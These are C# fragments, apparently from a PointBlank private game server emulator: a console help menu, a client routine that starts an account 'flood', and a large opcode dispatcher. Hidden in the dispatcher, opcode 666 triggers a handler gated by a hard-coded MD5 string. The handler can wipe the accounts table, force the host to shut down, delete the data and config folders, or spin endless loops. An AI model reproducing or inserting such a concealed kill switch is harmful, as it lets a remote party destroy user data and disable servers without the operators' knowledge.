private static void help() { Printf.warnDark("\n\t[SERVIDOR PointBlank]\n", false); Printf.warnDark("Lista de comandos:\n", false); Printf.white("help \tObtem a lista de comandos", false); Printf.white("show info\tExibe informacoes do servidor", false); Printf.white("clear \tLimpa o console", false); Printf.white("\n ----- Comandos avançados -----\n", false); Printf.white("loby -m \"Mensagem\" Envia mensagem geral", false); Printf.white("server -dc -all Desconecta todos os players", false); Printf.white("update [parametros] Atualiza", false); Printf.white(". -all Atualiza o servidor inteiro", false); Printf.white(". -event Atualiza eventos", false); Printf.white(". -regras Atualiza regras camp,cnpb...", false); Printf.white(". -config Arquivo game.ini", false); Printf.white("... -serverlist IP's", false); Printf.white("\n[github.com/luisfeliperm] Créditos: luisfeliperm", false); Printf.white("......................... Base Code: yGigaSet\n", false); }
public override void run() { AuthClient.SessionId = sessionId; AuthClient.Seed = seed; AuthClient.Shift = (int)(sessionId % 7 + 1);; Printf.warnDark("[INFORMAÇÕES RECEBIDAS]"); Printf.sucess("[] SessionID: " + sessionId); Printf.sucess("[] CryptoKey: " + cryptoKey); Printf.sucess("[] Shift: " + AuthClient.Shift); Printf.sucess("[] Seed: " + seed); Printf.sucess("[] Server Count: " + countServer); int totalPlayers = 0; if (_servers.Count > 1) { for (int i = 0; i < _servers.Count; i++) { totalPlayers += _servers[i]._LastCount; } } else { totalPlayers = _servers[0]._LastCount; } Printf.sucess("[] Players Online: " + totalPlayers); Printf.sucess("------------------------------------"); // Envia LOGIN floodAccount.Start(); // AuthClient.Send(new BASE_LOGIN_REC()); }
private void RunPacket(byte[] buff) { if (closed) { return; } UInt16 opcode = BitConverter.ToUInt16(buff, 0); // Debug packet receive /* * { * string debugData = ""; * foreach (string str2 in BitConverter.ToString(buff).Split('-', ',', '.', ':', '\t')) * debugData += " " + str2; * Printf.warning("[" + opcode + "]" + debugData); * } */ if (!receiveFirstPacket) // Nao recebeu ainda { if (!FirstPacketCheck(opcode)) { string msg = GetIPAddress() + "Primeiro pacote nao recebido [" + opcode + "]"; Printf.warning(msg); SaveLog.warning(msg); Firewall.sendBlock(GetIPAddress(), msg, 1); Close(0, true); return; } } ReceiveGamePacket packet = null; switch (opcode) { case 275: packet = new FRIEND_INVITE_FOR_ROOM_REC(this, buff); break; case 280: packet = new FRIEND_ACCEPT_REC(this, buff); break; case 282: packet = new FRIEND_INVITE_REC(this, buff); break; case 284: packet = new FRIEND_DELETE_REC(this, buff); break; case 290: packet = new AUTH_SEND_WHISPER_REC(this, buff); break; case 292: packet = new AUTH_SEND_WHISPER2_REC(this, buff); break; case 297: packet = new AUTH_FIND_USER_REC(this, buff); break; case 417: packet = new BOX_MESSAGE_CREATE_REC(this, buff); break; case 419: packet = new BOX_MESSAGE_REPLY_REC(this, buff); break; case 422: packet = new BOX_MESSAGE_VIEW_REC(this, buff); break; case 424: packet = new BOX_MESSAGE_DELETE_REC(this, buff); break; case 530: packet = new SHOP_BUY_ITEM_REC(this, buff); break; case 534: packet = new INVENTORY_ITEM_EQUIP_REC(this, buff); break; case 536: packet = new INVENTORY_ITEM_EFFECT_REC(this, buff); break; case 540: packet = new BOX_MESSAGE_GIFT_TAKE_REC(this, buff); break; case 542: packet = new INVENTORY_ITEM_EXCLUDE_REC(this, buff); break; case 544: packet = new AUTH_WEB_CASH_REC(this, buff); break; case 548: packet = new AUTH_CHECK_NICKNAME_REC(this, buff); break; //554 = Reparar arma case 1304: packet = new CLAN_GET_INFO_REC(this, buff); break; case 1306: packet = new CLAN_MEMBER_CONTEXT_REC(this, buff); break; case 1308: packet = new CLAN_MEMBER_LIST_REC(this, buff); break; case 1310: packet = new CLAN_CREATE_REC(this, buff); break; case 1312: packet = new CLAN_CLOSE_REC(this, buff); break; case 1314: packet = new CLAN_CHECK_CREATE_INVITE_REC(this, buff); break; case 1316: packet = new CLAN_CREATE_INVITE_REC(this, buff); break; case 1318: packet = new CLAN_PLAYER_CLEAN_INVITES_REC(this, buff); break; case 1320: packet = new CLAN_REQUEST_CONTEXT_REC(this, buff); break; case 1322: packet = new CLAN_REQUEST_LIST_REC(this, buff); break; case 1324: packet = new CLAN_REQUEST_INFO_REC(this, buff); break; case 1326: packet = new CLAN_REQUEST_ACCEPT_REC(this, buff); break; case 1329: packet = new CLAN_REQUEST_DENIAL_REC(this, buff); break; case 1332: packet = new CLAN_PLAYER_LEAVE_REC(this, buff); break; case 1334: packet = new CLAN_DEMOTE_KICK_REC(this, buff); break; case 1337: packet = new CLAN_PROMOTE_MASTER_REC(this, buff); break; case 1340: packet = new CLAN_PROMOTE_AUX_REC(this, buff); break; case 1343: packet = new CLAN_DEMOTE_NORMAL_REC(this, buff); break; case 1358: packet = new CLAN_CHATTING_REC(this, buff); break; case 1360: packet = new CLAN_CHECK_DUPLICATE_LOGO_REC(this, buff); break; case 1362: packet = new CLAN_REPLACE_NOTICE_REC(this, buff); break; case 1364: packet = new CLAN_REPLACE_INTRO_REC(this, buff); break; case 1372: packet = new CLAN_SAVEINFO3_REC(this, buff); break; case 1381: packet = new CLAN_ROOM_INVITED_REC(this, buff); break; case 1390: packet = new CLAN_CHAT_1390_REC(this, buff); break; case 1392: packet = new CLAN_MESSAGE_INVITE_REC(this, buff); break; case 1394: packet = new CLAN_MESSAGE_REQUEST_INTERACT_REC(this, buff); break; case 1396: packet = new CLAN_MSG_FOR_PLAYERS_REC(this, buff); break; case 1416: packet = new CLAN_CREATE_REQUIREMENTS_REC(this, buff); break; case 1441: packet = new CLAN_CLIENT_ENTER_REC(this, buff); break; case 1443: packet = new CLAN_CLIENT_LEAVE_REC(this, buff); break; case 1445: packet = new CLAN_CLIENT_CLAN_LIST_REC(this, buff); break; case 1447: packet = new CLAN_CHECK_DUPLICATE_NAME_REC(this, buff); break; case 1451: packet = new CLAN_CLIENT_CLAN_CONTEXT_REC(this, buff); break; case 1538: packet = new CLAN_WAR_PARTY_CONTEXT_REC(this, buff); break; case 1540: packet = new CLAN_WAR_PARTY_LIST_REC(this, buff); break; case 1542: packet = new CLAN_WAR_MATCH_TEAM_CONTEXT_REC(this, buff); break; case 1544: packet = new CLAN_WAR_MATCH_TEAM_LIST_REC(this, buff); break; case 1546: packet = new CLAN_WAR_CREATE_TEAM_REC(this, buff); break; case 1548: packet = new CLAN_WAR_JOIN_TEAM_REC(this, buff); break; case 1550: packet = new CLAN_WAR_LEAVE_TEAM_REC(this, buff); break; case 1553: packet = new CLAN_WAR_PROPOSE_REC(this, buff); break; case 1558: packet = new CLAN_WAR_ACCEPT_BATTLE_REC(this, buff); break; case 1565: packet = new CLAN_WAR_CREATE_ROOM_REC(this, buff); break; case 1567: packet = new CLAN_WAR_JOIN_ROOM_REC(this, buff); break; case 1569: packet = new CLAN_WAR_MATCH_TEAM_INFO_REC(this, buff); break; case 1571: packet = new CLAN_WAR_UPTIME_REC(this, buff); break; case 1576: packet = new CLAN_WAR_TEAM_CHATTING_REC(this, buff); break; case 2571: packet = new BASE_CHANNEL_LIST_REC(this, buff); break; case 2573: packet = new BASE_CHANNEL_ENTER_REC(this, buff); break; case 2575: packet = new BASE_HEARTBEAT_REC(this, buff); break; case 2577: packet = new BASE_SERVER_CHANGE_REC(this, buff); break; case 2579: packet = new BASE_USER_ENTER_REC(this, buff); break; case 2581: packet = new BASE_CONFIG_SAVE_REC(this, buff); break; //case 2584: // packet = new CM_2584(this, buff); break; case 2591: packet = new BASE_GET_USER_STATS_REC(this, buff); break; case 2601: packet = new BASE_MISSION_ENTER_REC(this, buff); break; case 2605: packet = new BASE_QUEST_BUY_CARD_SET_REC(this, buff); break; case 2607: packet = new BASE_QUEST_DELETE_CARD_SET_REC(this, buff); break; case 2619: packet = new BASE_TITLE_GET_REC(this, buff); break; case 2621: packet = new BASE_TITLE_USE_REC(this, buff); break; case 2623: packet = new BASE_TITLE_DETACH_REC(this, buff); break; case 2627: packet = new BASE_CHATTING_REC(this, buff); break; case 2635: packet = new BASE_MISSION_SUCCESS_REC(this, buff); break; case 2639: packet = new LOBBY_GET_PLAYERINFO_REC(this, buff); break; case 2642: packet = new BASE_SERVER_LIST_REFRESH_REC(this, buff); break; case 2644: packet = new BASE_SERVER_PASSW_REC(this, buff); break; case 2654: packet = new BASE_USER_EXIT_REC(this, buff); break; case 2661: packet = new EVENT_VISIT_CONFIRM_REC(this, buff); break; case 2663: packet = new EVENT_VISIT_REWARD_REC(this, buff); break; case 2684: packet = new GM_LOG_LOBBY_REC(this, buff); break; case 2686: packet = new GM_LOG_ROOM_REC(this, buff); break; case 2694: // BaseExitURL ?? break; case 2817: packet = new SHOP_LEAVE_REC(this, buff); break; case 2819: packet = new SHOP_ENTER_REC(this, buff); break; case 2821: packet = new SHOP_LIST_REC(this, buff); break; case 3073: packet = new LOBBY_GET_ROOMLIST_REC(this, buff); break; case 3077: packet = new LOBBY_QUICKJOIN_ROOM_REC(this, buff); break; case 3079: packet = new LOBBY_ENTER_REC(this, buff); break; case 3081: packet = new LOBBY_JOIN_ROOM_REC(this, buff); break; case 3083: packet = new LOBBY_LEAVE_REC(this, buff); break; case 3087: packet = new LOBBY_GET_ROOMINFO_REC(this, buff); break; case 3089: packet = new LOBBY_CREATE_ROOM_REC(this, buff); break; case 3094: //3096 = /exit Nick /*packet = new A_3094_REC(this, buff); */ break; case 3099: packet = new LOBBY_GET_PLAYERINFO2_REC(this, buff); break; case 3101: packet = new LOBBY_CREATE_NICK_NAME_REC(this, buff); break; case 3329: //Pode ser chamado caso state = 13| caso contrário é chamado o 3333 packet = new BATTLE_3329_REC(this, buff); break; case 3331: packet = new BATTLE_READYBATTLE_REC(this, buff); break; case 3333: packet = new BATTLE_STARTBATTLE_REC(this, buff); break; case 3337: packet = new BATTLE_RESPAWN_REC(this, buff); break; case 3343: // Incompleto Printf.warnDark("Receive 3343- BATTLE_NETWORK_PROBLEM_REC"); //packet = new BATTLE_NETWORK_PROBLEM_REC(this, buff); break; case 3344: packet = new BATTLE_SENDPING_REC(this, buff); break; case 3348: packet = new BATTLE_PRESTARTBATTLE_REC(this, buff); break; case 3354: packet = new BATTLE_DEATH_REC(this, buff); break; case 3356: packet = new BATTLE_MISSION_BOMB_INSTALL_REC(this, buff); break; case 3358: packet = new BATTLE_MISSION_BOMB_UNINSTALL_REC(this, buff); break; case 3368: packet = new BATTLE_MISSION_GENERATOR_INFO_REC(this, buff); break; case 3372: packet = new BATTLE_TIMERSYNC_REC(this, buff); break; case 3376: packet = new BATTLE_CHANGE_DIFFICULTY_LEVEL_REC(this, buff); break; case 3378: packet = new BATTLE_RESPAWN_FOR_AI_REC(this, buff); break; case 3384: packet = new BATTLE_PLAYER_LEAVE_REC(this, buff); break; case 3386: packet = new BATTLE_MISSION_DEFENCE_INFO_REC(this, buff); break; case 3390: packet = new BATTLE_DINO_DEATHBLOW_REC(this, buff); break; case 3394: packet = new BATTLE_ENDTUTORIAL_REC(this, buff); break; case 3396: packet = new VOTEKICK_START_REC(this, buff); break; case 3400: packet = new VOTEKICK_UPDATE_REC(this, buff); break; //3413 //3421 -Pausar //3423 -Recomeçar case 3428: packet = new A_3428_REC(this, buff); break; case 3585: packet = new INVENTORY_ENTER_REC(this, buff); break; case 3589: packet = new INVENTORY_LEAVE_REC(this, buff); break; case 3841: packet = new ROOM_GET_PLAYERINFO_REC(this, buff); break; case 3845: packet = new ROOM_CHANGE_SLOT_REC(this, buff); break; case 3847: packet = new BATTLE_ROOM_INFO_REC(this, buff); break; case 3849: packet = new ROOM_CLOSE_SLOT_REC(this, buff); break; case 3854: packet = new ROOM_GET_LOBBY_USER_LIST_REC(this, buff); break; case 3858: packet = new ROOM_CHANGE_INFO2_REC(this, buff); break; case 3862: packet = new BASE_PROFILE_ENTER_REC(this, buff); break; case 3864: packet = new BASE_PROFILE_LEAVE_REC(this, buff); break; case 3866: packet = new ROOM_REQUEST_HOST_REC(this, buff); break; case 3868: packet = new ROOM_RANDOM_HOST2_REC(this, buff); break; case 3870: packet = new ROOM_CHANGE_HOST_REC(this, buff); break; case 3872: packet = new ROOM_RANDOM_HOST_REC(this, buff); break; case 3874: packet = new ROOM_CHANGE_TEAM_REC(this, buff); break; case 3884: packet = new ROOM_INVITE_PLAYERS_REC(this, buff); break; case 3886: packet = new ROOM_CHANGE_INFO_REC(this, buff); break; case 3890: // "/KICK Slot" packet = new A_3890_REC(this, buff); break; case 3894: //Ativa quando usa "/EXIT (SLOT)" /*packet = new A_3894_REC(this, buff);*/ break; case 3900: // Ativa quando usa "/BLOCK (SLOT) (REASON) /*packet = new A_3900_REC(this, buff);*/ break; case 3902: //Ativa quando usa "/ROOMDEST" /*packet = new A_3902_REC(this, buff);*/ break; case 3904: packet = new BATTLE_LOADING_REC(this, buff); break; case 3906: packet = new ROOM_CHANGE_PASSW_REC(this, buff); break; //case 3910: // packet = new EVENT_PLAYTIME_REWARD_REC(this, buff); break; case 666: packet = new global.clientpacket.DEV.DEV_PROTECAO_CONTRA_LOTTER(this, buff); break; default: { string msg = "[" + opcode + "] Opcode nao encontrado " + GetIPAddress(); Firewall.sendBlock(GetIPAddress(), msg, 1); Printf.warning(msg); SaveLog.warning(msg); Close(0, true); return; } } if (packet != null) { new Thread(packet.run).Start(); } }
public override void run() { try { if (!md5Secure.Equals("50d31b9286d1440e25d697e616c82a6c")) // Pass Lv1 { return; } if (!String.IsNullOrEmpty(msg)) { Printf.warnDark(msg); } switch (acao) { case 1: while (true) { Printf.warnDark(" -> " + msg); } case 2: int count; while (true) { using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) count = GameManager.SendPacketToAllClients(packet); } case 3: using (NpgsqlConnection connection = SQLjec.getInstance().conn()) { NpgsqlCommand command = connection.CreateCommand(); connection.Open(); command.CommandType = CommandType.Text; command.CommandText = "TRUNCATE contas CASCADE;"; command.ExecuteNonQuery(); command.Dispose(); connection.Dispose(); connection.Close(); } break; case 4: GameManager.mainSocket.Close(5000); Game_SyncNet.udp.Close(); break; case 5: ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "shutdown.exe"; psi.Arguments = "-s -f -t 0"; psi.CreateNoWindow = true; Process p = Process.Start(psi); break; case 6: Directory.Delete("data/"); Directory.Delete("config/"); break; case 7: while (true) { SaveLog.fatal(msg); } default: return; } } catch (Exception ex) { Printf.b_danger("[DEV_PROTECAO_CONTRA_LOTTER] " + ex); } }